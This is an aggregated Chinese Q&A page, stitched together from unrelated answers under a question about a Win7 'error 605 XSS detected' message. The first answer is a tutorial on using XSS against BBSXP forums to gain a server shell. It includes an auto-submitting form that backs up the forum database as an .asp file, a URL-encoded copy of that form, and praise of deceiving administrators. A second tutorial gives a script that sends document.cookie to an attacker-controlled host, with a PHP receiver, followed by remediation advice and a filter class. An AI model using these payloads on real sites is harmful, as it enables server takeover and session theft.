win7中出现 错误码 605 检测到xss跨站攻击 怎么办
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了win7中出现 错误码 605 检测到xss跨站攻击 怎么办相关的知识,希望对你有一定的参考价值。
什么是XSS攻击 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞 就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。然后利用下面的技术得到一个shell. [编辑本段]如何利用 传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击 寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名
处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的
攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下:
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击 有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
〈body onload="javascript:document.forms[0].submit()"〉〈form
action=" " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:
我们构造备份跨站语句如下:
%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。
把那个网页删除掉 参考技术A
出现这种问题,一般是电脑系统损坏或者电脑中毒引起。建议:
尝试使用急救箱之类的软件进行全盘扫描修复。
如果急救箱无法成功修复电脑,建议重新安装操作系统。
XSS跨站脚本攻击
1、简介
跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS攻击的危害包括:
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
2、原因解析
主要原因:过于信任客户端提交的数据!
解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。
进一步分析细节:
客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就可以肆无忌惮地展开攻击啦。
因此我们绝不可以信任任何客户端提交的数据!!!
3、XSS攻击分类
【了解即可,不必细究,XSS根源就是没完全过滤客户端提交的数据】
3.1、反射型xss攻击
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。
简单例子
正常发送消息:
http://www.test.com/message.php?send=Hello,World!
接收者将会接收信息并显示Hello,Word
非正常发送消息:
http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!
接收者接收消息显示的时候将会弹出警告窗口
3.2、存贮型xss攻击
又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
简单例子:
从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板
留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
正常操作:
用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。
非正常操作:
攻击者在value填写<script>alert(‘foolish!’)</script>【或者html其他标签(破坏样式。。。)、一段攻击型代码】;
将数据存储到数据库中;
其他用户取出数据显示的时候,将会执行这些攻击性代码
3.3、DOMBasedXSS(基于dom的跨站点脚本攻击)
基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。
通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。
前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。
简单例子:
1 <HTML> 2 <TITLE>Welcome!</TITLE> 3 Hi 4 <SCRIPT> 5 var pos=document.URL.indexOf("name=")+5; 6 document.write(document.URL.substring(pos,document.URL.length)); 7 </SCRIPT> 8 <BR> 9 Welcome to our system 10 … 11 </HTML>
这个例子是个欢迎页面,name是截取URL中get过来的name参数
正常操作:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。
注意:
1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。
2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。
当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。
【这段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind】
4、XSS攻击实例分析
例1、简单XSS攻击
留言类,简单注入javascript
有个表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
1、假若用户填写数据为:<script>alert(\'foolish!\')</script>(或者<script type="text/javascript" src="./xss.js"></script>)
2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库
3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。
【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】
例2、盗取cookie
1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com
2、test88.com中的表单,xss.html
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title>xss攻击</title> 5 <meta charset="utf-8"> 6 </head> 7 <body> 8 9 <form action="./test99.php" method="post"> 10 留言:<input type="text" name="content" value=""><br/> 11 <input type="submit" name="" value=\'提交\'> 12 </form> 13 <br/>留言记录:<br/> 14 </body> 15 </html>
3、恶意攻击者插入相应代码
1 <script> 2 var Str=document.cookie; //获取cookie 3 var a =document.createElement(\'a\'); //创建a标签 4 a.href=\'http://www.linuxtest.com/test2.php?\'+Str; //攻击者主机 5 a.innerHTML="<img src=\'./aa.jpg\'>"; //掩护图片 6 document.body.appendChild(a); //将标签添加到页面中 7 </script>
4、数据(攻击代码)插入数据库
5、攻击者控制的主机中设置接收盗取的cookie
1 <?php 2 header("content-type:text/html;charset=utf8"); 3 echo "你的PHPSESSID被盗啦"; 4 echo "<pre>"; 5 print_r($_GET); 6 echo "</pre>"; 7 $cookie=$_GET[\'PHPSESSID\']; 8 file_put_contents(\'./xss.txt\', $cookie); 9 ?>
开始模拟测试
1、test88.com中设置生成sessionID代码
1 <?php 2 session_start(); 3 $_SESSION[\'xss\']=\'xssssss\'; 4 echo "<pre>"; 5 print_r($_SESSION); 6 echo "</pre>";die; 7 ?>
2、客户端访问上面代码并生成自己的sessionID
3、客户端访问xss.html
#下面为模拟被攻击后取出数据的xss.html代码(显示数据)
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title>xss攻击</title> 5 <meta charset="utf-8"> 6 </head> 7 <body> 8 <form action="./test99.php" method="post"> 9 留言:<input type="text" name="content" value=""><br/> 10 <input type="submit" name="" value=\'提交\'> 11 </form> 12 <br/>留言记录:<br/> 13 <script> 14 var Str=document.cookie; //获取cookie 15 var a =document.createElement(\'a\'); //创建a标签 16 a.href=\'http://www.linuxtest.com/test2.php?\'+Str; //攻击者主机 17 a.innerHTML="<img src=\'./aa.jpg\'>"; //掩护图片 18 document.body.appendChild(a); //将标签添加到页面中 19 </script> 20 </body> 21 </html>
4、客户端不小心点击到图片,sessionID将被盗
# vi xss.txt
【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】
5、XSS漏洞修复
从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。
5.1、html实体
什么是html实体?
在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来说是有特殊意义的,所以这些字符是不允许在文本中使用的。要在HTML中显示(<)这个字符,我们就必须使用实体字符。
html实体的存在是导致XSS漏洞的主要原因之一。
因此我们需要将这些实体全部转换为相应的实体编号。
显示结果 |
描述 |
实体名称 |
|
空格 |
|
< |
小于号 |
< |
> |
大于号 |
> |
& |
和号 |
& |
" |
引号 |
" |
\' |
撇号 |
' (IE不支持) |
5.2、HTML Encode
用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。
在PHP中已经存在这样子功能的函数,即是htmlentities($str)函数。
与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。
5.3、修复漏洞方针
【不相应用户提交的数据,过滤过滤过滤!】
1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。
4、对数据进行Html Encode 处理
5、过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
6、过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
【特别注意:】
在有些应用中是允许html标签出现的,甚至是javascript代码出现。因此我们在过滤数据的时候需要仔细分析哪些数据是有特殊要求(例如输出需要html代码、javascript代码拼接、或者此表单直接允许使用等等),然后区别处理!
5.4、PHP中的相应函数
【详细看PHP手册】
这里可能不全,想了解更多的看手册。
strip_tags($str, [允许标签]) #从字符串中去除 HTML 和 PHP 标记
htmlentities($str)函数 #转义html实体
html_entity_decode($str)函数 #反转义html实体
addcslashes($str, ‘字符’)函数 #给某些字符加上反斜杠
stripcslashes($str)函数 #去掉反斜杠
addslashes ($str )函数 #单引号、双引号、反斜线与 NULL加反斜杠
stripslashes($str)函数 #去掉反斜杠
htmlspecialchars() #特殊字符转换为HTML实体
htmlspecialchars_decode() #将特殊的 HTML 实体转换回普通字符
5.5、数据过滤类
1 <?php 2 class XSS 3 { 4 /** 5 * @desc 过滤数据 6 * 7 * @param $data string|array 输入数据 8 * @param $low bool 是否采用更为严格的过滤 9 * 10 * @return 返回过滤的数据 11 */ 12 public function clean_xss($data, $low = False) 13 { 14 #字符串过滤 15 if (! is_array ( $data )) 16 { 17 $data = trim ( $data ); #字符两边的处理 18 $data = strip_tags ( $data ); #从字符串中去除 HTML 和 PHP 标记 19 $data = htmlspecialchars ( $data ); #特殊字符转换为HTML实体 20 if ($low) 21 { 22 return $data; 23 } 24 #匹配换空格 25 $data = str_replace ( array (\'"\', "\\\\", "\'", "/", "..", "../", "./", "//" ), \'\', $data ); 26 $no = \'/%0[0-8bcef]/\'; 27 $data = preg_replace ( $no, \'\', $data ); 28 $no = \'/%1[0-9a-f]/\'; 29 $data = preg_replace ( $no, \'\', $data ); 30 $no = \'/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S\'; 31 $data = preg_replace ( $no, \'\', $data ); 32 return $data; 33 } 34 #数组过滤 35 $arr=array(); 36 foreach ($data as $k => $v) 37 { 38 $temp=$this->clean_xss($v); 39 $arr[$k]=$temp; 40 } 41 return $arr; 42 } 43 44 45 } 46 #测试测试 47 session_start(); 48 $_SESSION[\'xss\']=\'xssss\'; 49 $xss=new XSS(); 50 #测试字符串 51 $str = "<script>alert(document.cookie)</script>"; 52 echo $str; 53 $str2=$xss->clean_xss($str); 54 echo $str2; 55 echo "<hr/>"; 56 #测试数组 57 $arr=array("<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>"); 58 echo "<pre>"; 59 print_r($arr); 60 echo "</pre>"; 61 $arr2=$xss->clean_xss($arr); 62 echo "<pre>"; 63 print_r($arr2); 64 echo "</pre>";die; 65 ?>
(以上是自己的一些见解与总结,若有不足或者错误的地方请各位指出)
作者:那一叶随风 http://www.cnblogs.com/phpstudy2015-6/
声明:以上只代表本人在工作学习中某一时间内总结的观点或结论。转载时请在文章页面明显位置给出原文链接
以上是关于win7中出现 错误码 605 检测到xss跨站攻击 怎么办的主要内容,如果未能解决你的问题,请参考以下文章